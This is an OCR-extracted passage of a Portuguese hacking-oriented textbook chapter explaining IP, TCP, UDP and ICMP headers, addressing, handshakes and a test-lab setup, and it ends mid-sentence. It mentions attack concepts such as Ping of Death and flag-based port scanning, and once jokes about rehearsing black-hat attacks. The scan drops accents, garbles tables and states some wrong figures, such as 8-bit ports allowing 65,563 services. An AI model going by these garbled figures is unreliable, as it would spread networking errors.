Nmero de Verificao(16) Endereo IP de origem(32) Endereo IP de destino(32) Opes (se houver) Enchimento

Dados

Os valores entre parnteses indicam o tamanho do campo em bits. No incio do datagrama temos o campo verso. Como o nome j diz, ele indica a verso do protocolo IP em uso. Possui quatro bits, o que daria 16 possibilidades de verses diferentes do protocolo IP.Entretanto, atualmente temos apenas duas, IPv4 e IPv6. O valor armazenado a numrico, portanto o IPv4 seria representado pelo nmero binrio 0100, e o IPv6, por 0110. Observando o cabealho, nota-se que ele formado por linhas de 32 bits de comprimento. O campo tamanho de cabealho (Internet Header Length ou IHL) fornece o comprimento do cabealho em nmero de palavras de 32 bits. Se no houver opes, o valor vlido para esse campo cinco. Havendo opes, esse valor pode crescer indefInidamente para acomodar todas. Os roteadores so equipamentos dotados de certa inteligncia. Eles sabem, por exemplo, qual das rotas ligadas a ele mais barata ou mais conflvel. O campo tipo de servio (Type of Service ou ToS) permite dar aos roteadores indicaes sobre como tratar o pacote e por onde envi-Io. Possui quatro flags: minimizar atraso, maximizar desempenho, maximizar confiabilidade e minimizar custo. Baseado nesses flags, o roteador vai encaminhar o pacote IP para uma determinada rota. A maioria das implementaes existentes, entretanto, ignora solenemente este campo, portanto seu uso pode no surtir o efeito desejado. 1161

] Redes 11

I Universidade

H4CK3R I

campo tamanho total guarda o comprimento do datagrama, em bytes, englobando todo o cabealho mais o container de dados. Na teoria, 16 bits poderiam indicar um tamanho de at 65.535 bytes. Mas um pacote IP de 64 KB monstruoso. Na prtica, o tamanho padro dos pacotes 576 bytes. Depois que a conexo for estabelecida e o sistema certificar-se de que todos os segmentos do caminho - principalmente o computador destino - suportam pacotes maiores, esse valor pode ser modificado. Alis, um dos mtodos mais antigos de negao de servio, ou DoS, era forar o envio de um pacote IP com um tamanho de 64 kbytes. Se o destino no estivesse preparado para um pacote to grande fatalmente seria derrubado. o conhecido Ping of Death. s vezes necessrio fragmentar o pacote IP.Diversos motivos podem obrigar um roteador a isso. Um deles rotear entre duas redes cuja camada 2 (data link) tenha implementaes com tamanhos de payload diferentes. Por exemplo, entre uma rede Ethernet, que possui um MTA(maximum transfer unit) de 1.500 bytes para uma clula ATM com comprimento de 480 bytes. O pacote IP padro de 576 bytes no cabe na clula ATM.Deve-se quebrar o pacote IP em dois, portanto, para que possa trafegar nesse novo meio. Quando, l do outro lado, os pacotes fragmentados sarem do ATMem direo a outro segmento Ethernet, deve haver um mecanismo que possa desfragmentar novamente o pacote. O campo identificao carrega um nmero que reconhece o pacote. na verdade um contador circular, pois quando a contagem chega em 65535, retorna a zero. Caso seja necessrio fragment-Io, todas as partes carregaro o mesmo ID. Assim, impossvel confundi-Ios com fragmentos de outros pacotes. O campo flags possui trs controles que indicam se um datagrama pode ou no ser fragmentado e se houve fragmentao. O deslocamento de fragmentao (fragment offset) indica a posio daquele fragmento dentro do datagrama original, e usado para a remontagem do mesmo. Cada unidade no fragment offset representa um deslocamento de 64 bits no pacote original. Em pacotes no fragmentados, o valor desse campo zero. Um dos campos mais importantes do datagrama IP o TIL ou Time to Live. Indica o nmero mximo de roteadores pelos quais o pacote pode passar. Quando o valor chega a zero, o pacote descartado. Esse artifcio evita que pacotes IP sem dono vaguem indefInidamente pela Internet. O campo protocolo indica qual protocolo de camada 4 nosso pacote IP est carregando - veja a RFC1700. O nmero de verificao (checksum) , como vimos no pacote Ethernet (captulo 2, Redes 1), um nmero calculado na origem com base em todos os dados do pacote. Esse nmero recalculado no destino e, caso sejam diferentes, o pacote descartado. Note que o rec1culo ocorre cada vez que o pacote passa por um roteador. Como os dados do cabealho mudam durante o caminho, o checksum diferente em cada segmento pelo qual passa.

1162 I Redes 11 [

Universidade 2 Ano

Logo a seguir, temos, fmalmente, os campos de endereo. Ambos possuem um comprimento de 32 bits. Logo aps, temos o campo opes, que pode ter de zero a vrios bytes. Dependendo do nmero de opes, pode ocupar vrias linhas de 32 bits. O campo enchimento possui tamanho varivel e serve para garantir que a ltima linha do campo opes tenha um comprimento de 32 bits, garantindo assim a consistncia do cabealho. Vamos escovar um pouco os bits? Se voc tem acesso a algum Unix, podemos ver o contedo dos pacotes IP com o comando tcpdump:
# tcpdump -i <interface> -1 -n -x port 80 ack 357 win 05:39:40.734407 192.168.1.11.2819 > 213.61.48.245.80: 6432 <nop,nop,timestamp 63228741037367659> (DF) 4500 0034 3779 4000 4006 3b65 cOa8 010b d53d 30f5 Ob03 0050 785c 4fcO 77aa ce8b 8010 1920 c9b6 0000 0101 080a 0060 7aba 3dd4 f96b

Esse comando analisa todos os pacotes que entram e saem da mquina. Voc pode observar que o prprio tcpdump decodificou algumas coisas: hora em que o pacote passou pela interface (5h39), endereos de origem (192.168.1.11) e destino (213.61.48.245) e alguns flags de controle. Logo abaixo, em notao hexadecimal, esto os bytes correspondentes ao pacote IP completo. Cada algarismo representa 4 bits. Poderamos utilizar, em vez do tcpdump, o programa Ethereal (www.ethereal.com). que tem verses para Windows e Unix e uma bonita e funcional interface grfica. Os autores recomendam o excelente Ethereal para diagnosticar praticamente todos os problemas envolvendo desempenho e erros em redes de computadores. Para o propsito deste exemplo, entretanto, a sada do tcpdump vai servir. Penteando um pouco, vemos que o primeiro dgito tem o valor 4, ou seja, 0100. Estamos falando, portanto, de um pacote IPv4. O segundo dgito 5, o que indica que nosso pacote IP possui um cabealho com cinco linhas de 32 bits (ou seja, 20 bytes ou ainda 40 algarismos de nosso cabealho). Opa! J sabemos quanto temos de cabealho. Separando-o, temos: 4500 0034 3779 4000 4006 3b65 cOaS OlOb d53d 30f5 Escovando os bits mais um pouquinho, podemos observar que: ~ Verso: 4 ~ IHL: 5, ou seja, 20 bytes ~ TOS: 00 ~ Tamanho total: 0034 ou 52 bytes ~ Identificao: 3779

1163 I

] Redes11

I Universidade

H4CK3R I

~ Flags e frn.gment Offset: 4000. As flags esto setadas como 0100, indicando que o pacote pode ser fragmentado e que no houve, ainda, fragmentao. Os outros 12 bits esto zerados (no h fragmentao). ~ TIL: 40, ou 64 roteadores. Quando o pacote chegar ao 64 roteador ser descartado, a no ser que o campo TIL seja reca1culado por algum outro roteador no meio do caminho.

6. Cada protocolo de camada 4 transportado pelo IP ~ Protocolo: possui um nmero que o identifica. No exemplo, o nmero 6 representa um pacote TCP. ~ Checksum: 3b65
~ Endereo de origem: cO.a8.01.0b - ou, em decimal, 192.168.1.11 ~ Endereo destino: d5.3d.30.f5 - ou, em decimal, 213.61.48.245

Endereamento IP
No captulo Redes I, vimos alguns fundamentos sobre numerao IP.Naquela ocasio, dissemos que um nmero IP contm 4 bytes no formato: 000.000.000.000. Cada byte, sendo um valor de 8 bits, pode obviamente conter um valor entre O e 255, como, por exemplo, 200.230.168.1. No deve haver duas mquinas com o mesmo endereo IP em uma mesma rede, pois seria impossvel rotear os pacotes at o destino correto. Os nmeros IP identificam a interface de uma mquina qualquer em uma rede. Mais do que isso, identificam em qual rede o n est conectado caso vrias redes estejam ligadas entre si. Para ver qual o nmero IP designado para a sua mquina, abra um terminal ou janela do DOS e d os comandos ifconfig (no Linux), winipcfg (para a famlia Win9x) e ipconfig (para a famlia WinNT). No Windows XP Home, este comando no est disponvel, portanto o leitor dever procurar pelas Propriedades de Rede no Painel de Controle. Qualquer que seja o comando, a sada ser parecida com esta:
ethO Encapsulamento
Endereo de HW

do

Link:

Ethernet

00: 08: 74: B5: 64: 95

inet end.: 192.168.1.11 Broadcast:192.168.1.255 Mscara:255.255.255.0

Pode haver ou no mais informaes anexadas sada. Os endereos IP so defmidos por interface. No exemplo mostrado (uma mquina Linux) aparecem os dados relativos interface ethO. Se houvesse mais uma interface (ex. ethl) existiriam nmeros IP para as duas interfaces. Outro dado que aparece o MAC address. Mas e aqueles dois outros campos, Broadcast e Mscara? Para descobrir para que ambos servem, temos de entender o conceito de classes de redes.

1164 I Redes"[

Universidade

2 Ano

Redes e Hosts

o nmero IP pode ser dividido em duas partes que identificam a rede em que esto conectados e seu endereo nico nessa rede. Por exemplo, no endereo 192.168.1.11, poderamos dizer que 192.168.1 representa a rede e 11 representa o 110 computador ligado a essa rede. Mas espere a! Onde termina o nmero de rede e onde comea o nmero de host? Para defInir isso, usamos um novo elemento, a mscara de rede. No endereo do nosso exemplo, a mscara de rede era 255.255.255.0. Para entender como esse emaranhado de nmeros pode separar alguma coisa, vamos transformar tudo em binrios:
192.168.1.11 255.255.255.0 11000000.10101000.00000001.00001011 11111111.11111111.11111111.00000000

Agora, basta fazer uma operao lgica E. O resultado da operao indica a rede (por isso ela chamada de mscara de rede). Na prtica, signiflca que todas as posies da mscara que possuem 1 indicam que aquele bit do endereo pertence ao nmero da rede. Em nosso exemplo, a rede seria 192.168.1.0. Nosso host fIcaria apenas com o nmero 11 para identiflc-Io nessa rede. Mas como defInir a mscara correta? Para isso, todo o endereamento foi dividido em classes. No vamos entrar em detalhes do porqu foi dividido dessa forma, mesmo porque irrelevante para os nossos objetivos. Basta saber que existem cinco classes de endereos, e que cada uma possui a seguinte confIgurao:
o
7 8
31

Classe A

G End. Rede[
o
7 8

End. Host

31

Classe B

End. Rede

End. Host

o
Classe C
Os

2 3 End. Rede

23 24

31

ITE

End. Host

algarismos acima dos quadros representam a posio dos bits dentro do

endereo. Vemos que endereos de classe A possuem 24 bits reservados para hosts e apenas 8 bits para redes. Isso nos d 256 redes diferentes, cada uma com mais de 16 milhes de hosts. No caso da classe C, temos exatamente o inverso: 16 milhes de redes, cada uma com 256 endereos de host possveis. Na classe B meio a meio: 65.536 nmeros para cada lado.

1165 I

] RedesII

I Universidade

H4CK3R I

Dependendo da aplicao, usa-se um ou outro espao de endereamento. Fazendo as contas, e levando em considerao os bits iniciais das classes (que nunca mudam), temos a seguinte diviso:
Classe A: de 1.0.0.0 a 126.255.255.255 Classe B: de 128.0.0.0 a 191.255.255.255 Classe C: de 192.0.0.0 a 223.255.255.255

Eu no falei cinco classes? Sim, mas as duas restantes no possuem diviso de hosts e redes. A classe D encerra os chamados Endereos de Multicast. Enquanto um endereo IP nico em toda a rede, pode haver diversas mquinas com o mesmo endereo multicast. Ele serve para enviar pacotes comuns a todas essas mquinas. Foi criado com a idia original de suportar streamming de udio e vdeo. Pode-se identificar um endereo de multicast pelos bits iniciais 1110 ou, em decimal, 224. A classe E foi reservada para uso futuro, mas nunca foi aproveitada. Com o advento do IPv6, provavelmente nunca ser. Inicia com 1111 em binrio, ou 240 em decimal. Ainda falta descobrirmos o que o tal de Broadcast. Para tanto, vamos a algumas convenes. Em geral, as interfaces de rede consideram o valor "tudo zero" no endereo como a palavra "este", e o valor "tudo um" como "todos". Lembrando que, nos bits de cada um dos quatro bytes do endereo IP, "tudo zero" representado por O e "tudo um" por 255, temos: ~ 0.0.0.0 - Esta rede ~ a.b.O.O- A rede a.b ~ O.O.x.y- Estao x.y nesta rede ~ 255.255.255.255 - Todas as estaes ~ a.b.255.255 - Todas as estaes da rede a.b Voltemos ao endereo de broadcast que vimos no tcpdump, 192.168.1.255. Vimos que, aplicando a mscara de rede, conseguimos o endereo 192.168.1.0. Este o endereo da rede 192.168.1. O zero no lmal do endereo indica este, logo, poderamos decodificar "esta rede que se chama 192,168.1". J o 255 no lmal do endereo de broadcast ("tudo um") indica "todas as mquinas da rede 192.168.1". Puxa, nem era to difcil...

Protocolo TCP
O companheiro inseparvel do IP e grande estrela da Internet o protocolo TCP.Como a maioria dos servios disponveis baseia-se nele, devemos ter uma noo de como o pacote TCP montado e como se comporta, para entender como os ataques a esses servios funcionam.

1166 I Redes I1 [

Universidade 2 Ano

o pacote TCP
Como vimos em Redes I e, rapidamente, no captulo sobre Unix, todos os servios de Internet que usamos - HTTp, SMTp' POp, ICQ, KaZaA - ficam "escutando" a rede e esperando por uma conexo para si. Essa conexo d-se por meio de portas, que so nmeros atribudos aos servios em questo e dependem do protocolo utilizado.A porta representada por um algarismo de 8 bits, portanto temos 65.563 possveis servios que usem o protocolo TCP escutando a rede. Um exemplo clssico uma seo de e-mail. Quando se conecta ao servidor de SMTP pela porta TCP 25, nosso programa preferido (os autores usam Eudora e KMail) recebe dele uma string assim:
HELO srntp.seudorninio.com.br MAIL FROM: usuario1@seudorninio.com.br RCPT TO: destinatario@provedor.com.br DATA Date: Mon, 07 Apr 2003 12:16:35 -0500
Frorn: ...

(EST)

Cada mensagem ter um cabealho parecido com esse e vrios kbytes (s vezes, Mbytes, dependendo de quantos dias voc ficou sem verificar sua correspondncia...). Como qualquer idiota pode ver (ei, eu posso ver!), impossvel transportar todos os dados de seus e-mails (ou da pgina da Web, ou do MP3 do KaZaA) em um nico pacote TCP. Portanto, a fragmentao o mecanismo principal do protocolo. O cabealho TCP tem normalmente 20 bytes e se parece com este aqui:
Porta de Destino(16) Porta de Origem(16) Nmero seqencial (32) Nmero de Reconhecimento(32) Flags(6) Tamanho da janela(16) Tam.(4) Reservado(6) Verificador do TCP(16) Ponteiro de Urgncia(16) Enchimento Opes (se houver!

Dados

Os campos Nmero seqencial, Reconhecimento, Tamanho, Opes, Enchimento e Dados tm aplicaes idnticas s do protocolo IP. Os outros campos tm aplicao especfica para o protocolo TCP e um deles, o camplo Flags, o que faz com que o protocolo funcione - e o que os hackers usam para atac-Io.

11671 ] Redes II

I Universidade

H4CK3R

Vamos continuar escovando bits? A sada do comando tcpdump, que usamos para estudar o pacote IP,era:
05:39:40.734407 192.168.1.11.2819 timestamp > 0034 213.61.48.245.80:

ack
3b65 4fcO 080a

357

win

6432

<nop,

nop,

6322874
4500 d53d 8010 3dd4

1037367659>
3779 30f5 IOb03 1920 c9b6 f96b

(DF)
4006 785c 0101 cOa8 77aa 0060 010b ce8b 7aba

4000 0050 0000

Observe os dados dentro do quadro. Esse o campo de dados do pacote IP. Mas lembre-se: o pacote TCP est "envelopado" dentro do Ip, ento se separarmos os 20 bytes iniciais do campo de dados IP temos o cabealho TCP. Ob03 0050 785c 4fcO 77aa ce8b 5010 1920 c9b6 0000
Os primeiros 2 bytes indicam a porta de origem. Ob03 2.819 em decimal. uma porta maior que 1.024, ou no privilegiada, o que indica que o pacote provavelmente! originou-se de um software cliente. A porta-destino, 0050, 80 em decimal. Da, pode-se deduzir que este pacote: ~ Foi criado por um navegador Web, como o Mozilla. ~ Dirige-se a um servidor Web, no caso o Apache do Greenpeace.org Os outros campos tambm so reveladores: ;).

~ Nmero seqencia1: 785c 4fcO. O nmero seqencial noTCP no se presta, apenas, fragmentao. O protocolo TCP controla a ordem em que os pacotes so recebidos e os ordena do destino, caso estejam fora de ordem. Alm disso, se um pacote demora a chegar, a mquina-destino faz com a mquina-cliente o mesmo que fazemos no McDonald's: pede pelo nmero. ~ Nmero de reconhecimento: 77aa ce8b. O computador-destino dos pacotes sempre devolve um nmero de reconhecimento de um pacote anteriormente recebido. Esse nmero o seqencial do pacote recebido + 1. ~ Tamanho do cabealho: 5 ~ Flags: 010, ou seja, em binrio 010000. Os flags so, em ordem, URG, ACK, PSH, RST,SYN e FIN. Neste exemplo, vemos que o flag ACK est ligado. ~ Tamanho da janela: 1.920, em decimal 6.432. a quantidade de bytes mxima que a origem pode manipular.
1 Sim, provavelmente. hackers podem alterar os nmeros das portas-destino dos pacotes enviados por ele para fazer com que os sistemas de defesa pensem que sua mquina um inocente servidor de Internet - e deixem passar o ataque...
1168 1

Redes II I

Universidade 2 Ano

~ Verificador: c9b6. o checksum do pacote TCP. ~ Ponteiro de urgncia: 0000. O protocolo TCP permite que certos dados dentro do pacote possam "furar a ftla" e ser processados primeiro. A flag URG indica que esses dados existem, e o ponteiro indica a posio, dentro da rea de dados, em que tais pacotes se encontram. Em nosso pacote-exemplo, no h nenhum dado urgente a processar.

Portas TCP
Diz-se que o TCP um protocolo orientado a conexo. Isso significa que no importa os caminhos pelos quais o pacote IP ande: para o TCP no existe "mundo l fora". O TCP cria um canal virtual entre a origem e o destino, e esse canal imune a influncias externas. A alegoria do cano perfeita: o TCP cria um tubo entre a aplicao origem e a destino, e os dois lados "conversam" por ele. Quem olhar por uma extremidade no ver roteadores, cabos, IPs, Ethernet, placas de rede, nada disso. Ver apenas seu companheiro de conexo no outro lado. Essa conexo s possvel porque existe o conceito de portas. Vamos divagar um pouco. Voc j deve ter ido a algum bar ou restaurante onde a cozinha no andar de cima e h elevadores para os diferentes tipos de itens oferecidos no cardpio. As bebidas no podem trafegar no mesmo elevador dos pratos quentes porque esquentaro. Estes no devem trafegar no mesmo ambiente das saladas, porque as deixaro murchas e possivelmente engorduradas. Sem falar nas sobremesas. Hipoteticamente, precisamos de, pelo menos, quatro elevadores2. Por outro lado, todas as mesas tm, tambm, nmeros. Se voc considerar que os garons so os pacotes IP, as comandas podem servir como pacotes TCP. Cada mesa "conecta-se" a um elevador por meio da comanda/TCP. A mesa 26 pode conectar-se ao elevador 4 e esperar uma sobremesa; a mesa 31, ao elevador 3 e esperar aquele Espaguete ao Vngoli. Note que cada um dos elevadores do nosso restaurante presta-se a um servio diferente. Se o casal da mesa 4 quiser o servio completo, ter de se conectar, em ordem, aos elevadores 1, 2, 3 e 4. O cafezinho um exemplo de servio alternativo que vem pela mesma porta de outro: desceu pelo elevador de sobremesas. E a conta vem por uma porta desconhecida e misteriosa (no saiu de elevador nenhum), estou achando que algum backdoor... Voltando ao domnio dos computadores, voc pode atribuir qualquer porta a qualquer servio. Mas existem sugestes para o uso delas, todas referenciadas na RFC1700. Por exemplo, a porta 80 normalmente destinada aos servidores Web ou HTTP.Quando voc abre uma pgina da Web e no diz em que porta est, o seu navegador infere que para usar a porta 80. Voc pode montar um servidorWeb e atribu-Io porta 12345, se quiser. Mas ter de informar a todos os seus clientes que seu servidor usa essa porta.
2 voc j viu um restaurante organizado assim? Eu nunca. Minhas bebidas chegam sempre quentes...

1169 I ] Redes II

I Universidade

H4CK3R I

Uma sesso TCP se parece com esta:


Porta Origem: 2337 Porta Destino: 80 Porta Origem: 80 Porta Destino: 2337

Observe: a porta do cliente o que chamamos de alta ou no privilegiada. Ela maior que 1024 e normalmente fomecida pelo sistema operacional, que no usa uma porta ftxa para cada aplicao, mas a prxima porta que estiver disponvel. J a porta do servidor o que chamamos de baixa ou prioritria. Essas portas, ao contrrio das do cliente, so deftnidas pelo IETF e normatizadas pela RFC1700. Pense nos servios mais comuns que voc usa na Internet: FTP, SMTP, DNS e HTTP.Suas portas, segundo a RFC1700, so, respectivamente, 21, 25,53 e 80. D uma olhada na lista completa em www.ietf.org/rfc.htmI. H uma maneira fcil de ver quais portas esto sendo usadas. O comando netstat, presente tanto no Windows como em todos os Unix, mostra todos os aspectos do estado da conexo do computador com a rede. Emitir o comando sem argumentos vai mostrar todas as conexes ativas (vou usar um exemplo do Windows, desta vez, para no me chamarem de radical):
C: \> NETSTAT

Conexes
Prato TCP TCP TCP TCP TCP

ativas
Endereo local

Endereo

externo
:netbios-ssn

Estado ESTABLISHED ESTABLISHED


CLOSE_WAIT

EST202: 1928
EST202 EST202: EST202 EST202: :2787 2934 :4065 4068

192.168.1.109

baym-cs41.mdc.chachucha.com:1863
streamer013
xuxu. c1ient.

.cache.
tatibi

gotorama.
ta ti . com:

com: http
ftp

TIME_WAIT ESTABLISHED

ADSL145-4.babababa.com.ar:1346

Experimente agora com as opes -na. A opo n diz ao netstat para no resolver os nomes dos sites e servios, mostrando-os como nmero IP e de portas. Observe a coluna endereo local. As milhares logo aps o sinal de ":" so as portas pelas quais os aplicativos-cliente esto "escutando" e conversando com os servidores. J nos endereos externos, note que h servios sendo disponibilizados por portas privilegiadas: netbios-ssn (139), http (80) e ftp (21). As outras duas esto "escutando" em portas altas. Como veremos nos captulos seguintes, saber quais portas esto ativas em nosso computador primordial para que identillquemos possveis atividades de hackers maliciosos. Por outro lado, conhecer as portas comuns e as ferramentas que as gerenciam pode facilitar as coisas para esses mesmos hackers. 1170

Redes11 [

Universidade 2 Ano

05 bits de controle TCP


Para a maioria das aplicaes, os bits de controle do protocolo TCP so uma parte significativa do trabalho de conexo e transporte. Cada um dos seis bits presentes no campo Flags do pacote IP tem uma funo especfica e importante no estabelecimento, controle e gerenciamento da sesso. No captulo 2, Redes I, nos referimos a eles de forma rpida: Quase todas as tcnicas de portscanning valem-se dos sinais (ou flags) TCp, UDP ou ICMP trocados entre os programas que querem se conectar. Apenas para referncia rpida, os sinais so estes, na ordem como aparecem nos flags:
~ URG (urgent) Sina1izadorde urgncia; ~ ACK (acknowledge) Indica que os pacotes anteriores foram aceitos no destino; ~ PSH (Push) Um tipo de "vlvula de descarga" ,acelera a transmisso para poder finaliz-Ia; ~ RST(reset) - Interrompe a conexo, devido a erros ou "queda de linha"; ~ SYN (synchronize) - Tentativa de sincronizao entre portas; ~ FIN (finish) Finalizador de conexo, usado no fim da transmisso (no h mais dados);

Sem os flags de controle, nenhuma conexo pode ser estabelecida ou mantida. Para isso, o protocolo TCP-IP se utiliza de um handshake bsico de trs etapas, que abre a sesso de comunicao e sincroniza entre as duas portas os nmeros seqenciais dos pacotes TCP.Observe:
SYN+ SEOc

" ACK + SEOc e SYN + SEOs


ACK+ SEOc

Vamos usar o exemplo mais manjado de todos: um servidorWeb. O computador cliente deseja conectar-se ao servidor e obter dele a pgina principal index.php. O cliente envia um pacote TCP ao servidor para a porta 80 com o flag SYN ativado e com um nmero seqencial que marcar o incio da troca de dados. Todos os pacotes que saem do cliente em direo ao servidor sero seqncias em relao a esse primeiro, que vamos abreviar para SEQc O servidor (se estiver escutando naquela porta) vai responder com dois flags ativados: o ACK,indicando que reconheceu e aceitou o pacote enviado, e um novo SYN, solicitando que o cliente aceite o seu nmero seqenciaI (vamos cham-Io de SEQs)'O campo nmero de reconhecimento que vai em direo ao cliente possui o SEQc e, no campo nmero seqenciaI, SEQs' O cliente, ento, responde com um ACK + SEQs'indicando que eles podem iniciar a transferncia de dados sem problemas.

1171 I ] Redes 11

I Universidade

H4CK3R I

Como ambas as partes sabem qual o nmero seqencial do outro, fica fcil pedir o reenvio de pacotes perdidos e ordenar os pacotes no destino. No nem um pouco provvel que aqueles desorganizados, desordeiros e descarados pacotes IP tenham resolvido passear por lugares diferentes da Internet e chegaram no destino em uma ordem diferente da estipulada. O que acontece quando voc, no meio do carregamento da pgina, dica no boto Parar do seu navegador? Neste momento, o software em questo manda um pacote TCP para o servidor com o flag FIN ligado, como quem diz "pode parar que no quero mais brincar". O bit RST usado para derrubar conexes problemticas, negar tentativas no autorizadas ou incompletas de conexo (por exemplo, a uma porta que no existe) e liberar a porta em questo, se estiver em uso. Esta a parte mais importante de nossos estudos sobre o protocolo TCP/lp. Os hackers usam pesadamente os flags TCP para vasculhar nossas conexes e, dependendo das respostas que o sistema operacional retorna, calcula ou infere se a porta est aberta ou fechada, se existe proteo por firewall ou no e se algumas vulnerabilidades detectveis por esse processo esto presentes.

Protocolo UDP
O TCP "carne e unha" com o Ip, e juntos eles so "pau pra toda obra". A maioria dos servios oferecidos na Internet baseia-se nessa dupla dinmica (puxa, que trocadilho ruim...). Mas h um outro protocolo que pode ser considerado o "amigo do peito" do IP. H situaes em que toda a parafernlia de verificaes levadas a cabo pelo TCP no so necessrias. Na maioria dessas situaes, elas at atrapalham. Quando baixamos um programa da Internet ou uma msica pelo KaZaA (sem pirataria, pessoa!!), queremos que eles estejam ntegros, de outro modo no conseguiremos utiliz-Ios. Mas quando estamos ouvindo rdio ou vdeo pela Internet, a ordem dos pacotes e mesmo sua confiabilidade j no so assim to necessrias. nesse contexto que entra em cena o User Datagram Protocol. Como o prprio nome diz, o UDP um datagrama configurvel pelo usurio. Seu cabealho muito simples, e cabe ao prprio programa definir as regras de conexo e as informaes a serem trocadas entre as partes. A expresso no confivel normalmente usada para descrev-Io, por no possuir formas de recuperao de erros, mas isso uma mentira. O UDP serve para inmeros casos onde as opes de estabilidade do TCP ainda so insuficientes e devem, portanto, ser implementadas diretamente na aplicao. O pacote UDP no possui nenhum dos campos de controle, seqncia e reconhecimento, nada disso. Como no possvel estabelecer uma conexo com o TCp' pois no h meios de fazer o hadshake, dizemos que o protocolo
1172 1 Redes 11r

Universidade 2 Ano

UDP no orientado

a conexo. Ou, usando o jargo anglo-informatiqus,

ele

connectionless.
Voltando ao nosso streamming, um pacote UDP faltando significa uma manchinha qualquer na minha imagem em streamming, que passa despercebida pela rapidez com que outra imagem colocada no lugar. J o atraso provocado por todas as verificaes do pacote TCP tornariam o vdeo extremamente desagradvel de assistir. Um pacote UDP parece-se com este:

Porta UDP de Origem(16) Tamanhodos dados(16)

Porta UDPde Destino(16)


Checksum(16)

Dados

V-se que o pacote UDP avaro em recursos de rede. Seu cabealho apenas 8 bytes, em relao ao TCP que tem 20 ou mais.

tem

Protocolo ICMP
o pessoal que desenvolveu a famlia de protocolos TCP/IP no deu ponto sem n. Uma das coisas mais bacanas para o controle e sinalizao de eventos e problemas nas redes IP o tal do Internet Control Message Protocol. Sua funo enviar comandos simples a interfaces de rede e roteadores para que eles faam alguma coisa ou respondam com seu estado.Alm de ser usado automaticamete pelas interfaces e roteadores, uma caixa de ferramentas muito interessante para o administrador resolver problemas da rede. Hackers tambm adoram os recursos que o ICMP oferece para descobrir a topologia de nossa rede... O ICMP um protocolo de nvel 3 (ups, deveramos t-Io colocado antes do TCp, no acha? Bem, achamos que, didaticamente, ele ficaria melhor aqui). O cabealho do ICMP literalmente o mesmo do Ip, mas no campo de protocolos, em vez do 6 do TCP ou o 17 do UDp, colocamos 1. No campo de dados do pacote IP inserido mais um campo de controle, o chamado ICMP Type Field, que identifica o tipo de mensagem que o ICMP vai transportar. Esses cdigos tambm esto definidos pelo IETF na (adivinhe...) RFC1700 e mostrados na tabela a seguir:

1173

] RedesII

I Universidade

H4CK3R I

~ O Echo Reply [RFC792] ~ 1 Unassigned UBP] ~ 2 Unassigned UBP] ~ 3 Destination Unreachable [RFC792] ~ 4 Source Quench [RFC792] ~ 5 Redirect [RFC792] ~ 6 Alternate Host Address UBP] ~ 7 Unassigned UBP] ~ 8 Echo [RFC792] ~ 9 Router Advertisement [RFC1256] ~ 10 Router Se1ection [RFC1256] ~ 11 Time Exceeded [RFC792] ~ 12 Parameter Problem [RFC792] ~ 13 Timestamp [RFC792] ~ 14 Timestamp Reply [RFC792] ~ 15 Information Request [RFC792] ~ 16 Information Reply [RFC792] ~ 17 Address Mask Request [RFC950] ~ 18 Address Mask Reply [RFC950] ~ 19 Reserved (for Security) [Solo] ~ 20-29 Reserved (for Robustness Experiment) [ZSu] ~ 30 Traceroute [RFC1393] ~ 31 Datagram Conversion Error [RFC1475] ~ 32 Mobile Host Redirect [David Johnson] ~ 33 IPv6 Where-Are-You [Bill Simpson] ~ 34 IPv6 I-Am-Here [Bill Simpson] ~ 35 Mobile Registration Request [Bill Simpson] ~ 36 Mobile Registration Reply [Bill Simpson] ~ 37-255 Reserved UBP]

Os tipos de mensagens ICMP esto listados no formato: ~ Valor Mensagem [Referncia].

Alguns dos tipos de mensagem precisam de parmetros para funcionar. Outros, devolvem valores que informam o estado dos testes realizados. O campo em que esses valores so guardados, logo aps o Service Type, chamado de Code Byte. Alguns valores para code bytes importantes so:

11741 Redes 11 I

Universidade 2 Ano

Destination Unreachable

[RFC792]

Codes O Net Unreachable 1 Host Unreachable 2 Protocol Unreachable 3Port Unreachable 4 Fragmentation Needed and Don't Fragment was Set 5 Source Route Failed 6 Destination Network Unknown 7 Destination Host Unknown 8 Source Host Isolated 9 Communication with Destination Network is Administratively Prohibited 10 Communication with Destination Host is Administratively Prohibited 11 Destination Network Unreachable for Type of Service 12 Destination Host Unreachable for Type of Service 5 Redirect Codes O Redirect 1 Redirect 2 Redirect 3 Redirect 11 Time Exceeded [RFC792]

Datagram Datagram Datagram Datagram

for the for the for the for the

Network (or subnet) Host Type of SerVice and Network Type of Service and Host [RFC792]

Codes O Time to Live exceeded in Transit 1 Fragment Reassembly Time Exceeded 12 Parameter Problem Codes O Pointer indicates the error 1 Missing a Required Option 2 Bad Length [RFC792]

[RFC1108]

Procure as RFCs indicadas e estude o significado de cada um dos sinais e cdigos. Vale a pena!
1175 1

I RedesII

I Universidade

H4CK3R I

Laboratrio

de Redes

11

No captulo Redes I dtamos os equipamentos utilizadospara a montagem de uma rede simples com dois computadores, usando um cabo de conexo cruzada, normalmente apelidado de "cabo cross". Nosso fOcoprindpa1 era a montagem de uma rede domstica, sem o uso de equipamentos mais complexos como os hubs, bridges, switches e roteadores, embora tenhamos visto algumas definies desses aparelhos. Para a realizao de muitas das experincias sugeridas nos captulos a seguir,temos de preparar uma rede de testes um pouco mais elaborada. Ela deve ser, obviamente, isolada de sua rede de produo mas deve ter alguma ligao com a Internet. As vantagens de ter um ambiente controlado para fazer seus testes so bvias: ~ No h perigo de danificar mquinas de produo ou de uso freqente; ~ Da mesma forma, sua rede corporativa estar segura; ~ Pode-se "brincar" vontade com as ferramentas e exploits mostrados; ~ Se voc quiser ser um black hat, possvel testar os ataques antes; ~ Montar uma pequena rede pode ser uma excelente higiene mental; ~ Ser possvel fazer campeonatos de Doom depois do "horrio de aula" ;-). O hardware necessrio baratssimo. Pelo menos trs mquinas Pentium 133 ou superior, com 64 MB de RAMe 4 GB de espao em disco devem servir. Mquinas que rodaro sistemas Unix para PC precisam de menos poder ainda - velhos 486 ou mesmo 386 devem servir magistralmente. Cada uma das mquinas dever ter alguma placa de rede barata, mas que seja compatvel com todos os sistemas operacionais que vamos usar. Essas mquinas podem ser encontradas usadas por menos de R$ 200 cada nos "sucates" de informtica existentes em praticamente todo o Brasil. Observe que nem todas as mquinas precisam possuir monitores. Para a rede, um hub tambm usado e barato deve servir. Como o desempenho no ser problema aqui (muito pelo contrrio, quanto mais lenta a rede, melhor a troca de mensagens poder ser avaliada), qualquer hub, mesmo passivo, servir perfeitamente. Retalhos de cabos de par tranado categoria 5 ou mesmo 3 podero ser encontrados no lixo das empresas ou comprados baratinho nas 